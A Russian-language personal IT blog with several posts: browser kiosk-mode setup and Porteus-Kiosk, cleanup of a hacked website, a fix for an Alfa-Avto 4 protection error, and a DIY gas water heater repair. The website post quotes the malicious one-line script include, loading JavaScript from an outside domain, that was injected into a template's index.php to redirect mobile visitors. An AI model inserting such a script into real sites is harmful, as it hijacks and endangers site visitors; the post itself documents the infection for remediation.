Kuzevich

Kuzevich

Появилась задача организовать в торговом зале организации компьютер, с доступом к сайту организации, чтобы посетители могли приобрести товары и услуги самостоятельно.

Такая система работает в Юлмарте и Ситилинке, но постольку, по скольку я столкнулся с этим впервые, пришлось разбираться в материале.

Основные проблемы:

  • нужен доступ на сайт компании, но запрет перехода на другие сайты
  • невозможность закрытия браузера и работы с компьютером
  • экранная клавиатура с русским языком и возможностью переключения раскладки

Яндекс мне сразу подсказал, что нужно копать в сторону работы браузера в режиме kiosk-mode. Как выяснилось, у всех браузеров есть такой режим

Internet Explorer

iexplore.exe -k www.вашсайт.ru

Opera

opera.exe /KioskMode

Chrome

chrome.exe --kiosk www.вашсайт.ru

FireFox - два варианта

  1. Через создание отдельного профиля для этого: firefox.exe -ProfileManager 
  2. Установкой надстройки (addon) R-Kiosk - https://addons.mozilla.org/Ru/firefox/addon/r-kiosk/

Но все эти варианты отпали ввиду того что их можно было свободно закрывать сочетаниями клавиш (Alt+F4, Ctrl+Alt+Del и т.п.)

И тут я наткнулся на любопытную сборку на Slax Linux, под названием Porteus-Kiosk http://porteus-kiosk.org/

Во-первых это *nix, во вторых при установке вы можете легко задать основные параметры: ip адрес машины, разрешить/запретить нужные страницы, добавить возможность удаленного подключения к машине по ssh и/или vnc и тому подобное.

В простейшем раскладе можно тупо скачать ISO и записать его на CD/DVD, затем установить на нужную нам стойку с нужными установками.

Все выглядит круто. Оставалась единственная проблема - это отсутствие экранной клавиатуры в стандартной сборке.

Об ее добавлении клавиатуры расскажу в продолжении...

 

На сайте знакомого завелась зараза. Вирусы почистил, созданных пользователей удалил, сайт поднял. Yandex и Google признали сайт чистым и вернули в выдачу.

И тут звонок: "У меня с сайта выкидывает на голые попы". Проверяю - у меня все ок! Оказалась переадресация происходит только на устройствах Apple (iPhone и iPad) и на WindowsPhone. На моем Андрюше (Android) никаких признаков заражения.

Чем я только сайт не проверял: и локальными антивирусами (Kaspersky, MalwareBytes, DrWeb) и онлайн проверками (secu.ru, sitesecure.ru, www.virustotal.com) - везде сайт чист.

И только потом, потеряв кучу времени нашел в заголовке исходного кода страницы строчку (выделили красным):

 

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="<?php echo $this->language; ?>" lang="<?php echo $this->language; ?>" dir="<?php echo $this->direction; ?>" >
<script type='text/javascript' src='http://newswap.ru/js/?tds=109'></script>
<head>

Вот такой вот незаметный скрипт в одну строчку прописался в шапке файла index.php шаблона!

А я уже весь сайт перерыл на наличие редиректов в .htaccess, включений base64 в коде, location.replace, document.location, просто по дате изменений.

Здоровых вам сайтов и безопасного сёрфинга в сети.

Очередной глюк защиты Альфа-Авто 4 (пятая версия запустилась без проблем).

Перенес сервер терминалов на другую виртуальную машину и словил ошибку в Альфа-Авто 4 при запуске.

После долгих разбирательств и переустановки драйверов катран и ключей защиты, выяснил, что проблема в одинаковом иемни компьютера серверов (я хотел безболезненно заменить один на другой).

Решил таким образом: на сервере, где стоит система защиты в службах останавливаю "Сервер защиты.", затем запускаю ConfUtil3.exe из папки C:\ProgramData\Protect\CommonProtect.

Нахожу "компоненту типового решения", где имя модуля "V8AutoService.dll". Разворачиваю ее нажатием на плюс.

Видим хранилища настроек с именами компьютеров в квадратных скобках. Находим наши нерабочие сервера, удаляем, сохраняем настройки, запускаем службу "Сервер защиты."

После этого все прекрасно заработало!

 

Вот и пришло время написать статью не про компьютеры и 1Ски, а про ремонт газовой колонки Bosch/Junkers WR13.
Кто бы мог подумать, что АЙТИшник туда полезет. Как то заведено, что такие вещи в ведомстве газовых компаний и без специальных знаний их лучше не разбирать. На самом деле ничего страшного там нет и при более-менее прямых руках, это возможно сделать самому. Тем более в стране кризис и хочется сэкономить.
Все началось с того, что колонка перестала гаснуть при выключении горячей воды, приходилось бегать и выключать газ вручную.
Гугление подсказало, что за это отвечают два основных блока: гидроарматура (водяной узел) и газовая арматура. Они соединены вместе таким образом, что при подаче воды, водяной узел при помощи мембраны, давящей на штифт, нажимает на газовый клапан, тем самым открывая подачу газа. При выключении воды газовый клапан закрывается. В общем, проблема где то тут! (на картинке цифра 14)



Итак, приступим…
Вот он наш пациент:

Все что нам понадобится – это 2 отвертки (крестовая и плоская) и ключ, чтобы отвернуть гайку крепления трубы с водой.
Для безопасности перекроем подачу воды и газа в квартиру.
Снимаем защитный кожух, отвернув два винта снизу:

Получаем доступ к внутренностям:

Вынимаем скобу, фиксирующую трубу подачи воды в теплообменник:

Вынимаем сам патрубок:

Выкручиваем два винта крепления водяного узла к газовой арматуре:

И тут мне открылась картина с окислами в месте крепления. Механизм разносился, и там просачивалась вода. Металл окислился и стал заедать газовый клапан (перестал возвращаться в исходное положение). Вот и причина неотключения подачи газа!
Попытаемся максимально все очистить и разработать сам клапан:

Он должен нажиматься вовнутрь и возвращаться в исходное положение.
Теперь разберем сам водяной блок:

Вынимаем скобу и достаем регулятор потока (гильза с пружинкой):

Откручиваем болты и снимаем крышку водяного узла:


Под ней видим изношенную мембрану:

Да и сама крышка от времени развалилась (колонке на данный момент 7 лет):

Как выяснилось запчасти к газовым колонкам не так то просто найти. И цены на них, честно говоря конские. При цене новой колонки Bosch Junkers GWH 13 P (WR13-2 P2) – 10 000 руб. Я нашел самые дешевые в городе мембрану (код 8700503083) за 1400 руб. и крышку водяной арматуры WR10, 11, 13, 15 (код 8705500105) за 2400 руб. Итого 3600 руб. Дороже чем треть колонки. Так что прежде чем приступать к ремонту, подумайте, а надо ли оно Cool Но было уже поздно… колонка разобрана и устанавливать новую не хотелось, поэтому решил продолжать начатое! (хотя я чуть не психанул и не пошел за новой китайской за те же деньги)
На картинке старые и новые детали. Разница видна сразу:

Теперь устанавливаем новую мембрану и крышку водяной арматуры, собирая все в обратном порядке:


 

Ура. У меня все получилось. Теперь пламя загорается и гаснет как ему и положено!
Что хочется в итоге сказать?! Когда я 7 лет назад озадачился выбором колонки, мне нахваливали Юнкерсы, как самые надежные и ремонтопригодные. Я затрудняюсь сказать, 7 лет это много или мало для надежности, хотя старые советские до сих пор у людей работают и им хоть бы что! Но при таких ценах запчастей эта ремонтопригодность и не нужна. Сейчас бы я выбрал самую дешевую Неву или китайский Оазис за 4-5 тысяч рублей и при поломке просто выкинул не парясь и поставил бы новую по цене ремонта данного Юнкерса/Боша. Одна надежда, что эта профилактика позволит проработать колонке еще как минимум столько же…
Ну и напоследок, для тех, кому в картинках не понятно, дам ссылку на видео по разборке газовых горелок Bosch/Junkers от компании Теплотехника Спб: http://www.youtube.com/watch?v=a2aIn93fyQ8